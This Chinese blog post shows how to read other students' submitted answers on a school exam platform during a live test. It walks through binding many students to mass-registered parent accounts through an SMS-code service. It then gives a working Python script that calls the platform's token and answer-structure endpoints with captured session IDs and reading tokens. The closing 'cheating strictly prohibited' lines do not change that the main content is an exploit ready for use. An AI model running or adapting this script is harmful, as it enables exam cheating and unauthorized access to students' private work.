前言
半年之前搞过某师某课 可能学校意识到普遍分数过高是平台的问题 于是换了某分数提交考试卷子
既然是教育网站 那么或多或少会有一些脑瘫问题
本着研究但不利用的原则 便有了以下折腾的过程
过程
思路1-失败
通过考完试比对答案的接口 假装考试已经结束 发送数据来请求答案
结果:
很显然 人家已经想到了这个问题 不出分是无法获取到答案的
思路2
依稀记得家长端在绑定学生时 只需要输入对应的姓名和学号即可
那么可不可以用家长端绑定好学生 在考试期间获取他们的答案呢?
先说结果 这个思路是可以的
已知每个家长号能绑定最多两个学生 且半年后才能换绑
那么我们只要注册足够多的家长号 即可随便绑学生
这里用x码平台 具体懂得都懂
然后我们每个号绑定一个好学生
接下来分析提交的答案是怎么获取的
首先明确这个平台的几个概念:
不管是学生号还是家长号 都是一个账号对应一个hfs-session-id
家长号切换孩子后 同样的hfs-session-id获取到的卷子为切换到的学生的
考试部分获取答案总共需要两个包
第一个:
https://hfs-be.yunxiao.com/v2/online-exams/token?examId=考试id&paperId=完整的试卷id
这里需要注意一下 发包时除了要处理headers
还要把hfs-session-id写到cookies里去
成功的话 会返回一个阅卷token
第二个:
利用这个阅卷token去获取已经提交的答案
https://yj-apigw.haofenshu.com/v370/structure/online?paperid=试卷id
这里需要注意 这个包不要有cookies
要把获取到的阅卷token加到headers里
成功的话 会返回一个json 里面存有选项和提交的答案
(这里还没提交 所以是空的)
然后 我们模拟这个流程 用python写个发包解析的程序
import requests
import json
examid="考试id"
paperid="试卷id"
paperidfull="完整的试卷id"
stu_tokens = [
"eyxxxxxxx",#家长token
]
count=1
for stu in stu_tokens:
url="https://hfs-be.yunxiao.com/v2/online-exams/token?examId="+examid+"&paperId="+paperidfull
cookie = {'hfs-session-id': stu}
headers = {'devicetype': '1','apptype': '1','versionname': "4.30.91",'user-agent': "YX Android 10"}
req=requests.get(url=url,headers=headers,cookies=cookie)
#print(req.text)
yuejuan=json.loads(req.text).get('data').get('token')
headers.update({'hfs-app-token': yuejuan})
url="https://yj-apigw.haofenshu.com/v370/structure/online?paperid="+paperid
req=requests.get(url=url,headers=headers)
#print(req.text)
keguanti=json.loads(req.text).get('data').get('keguanti')
zhuguanti=json.loads(req.text).get('data').get('zhuguanti')
for dati in keguanti:
print(dati["name"])
questions_list=dati["questions"]
for xiaoti in questions_list:
if xiaoti["stuAns"] !="" and xiaoti["stuAns"] !="-":
print(xiaoti["name"]+" "+xiaoti["stuAns"])
for ti in zhuguanti:
pic_list=ti["httpPath"]
if pic_list != None:
print(ti["name"]+" "+" ".join(pic_list))
print("========== |"+str(count))
count+=1
在考试结束的交卷时间里 我们一直重复运行即可
最后
严禁作弊!!!
严禁作弊!!!
严禁作弊!!!
|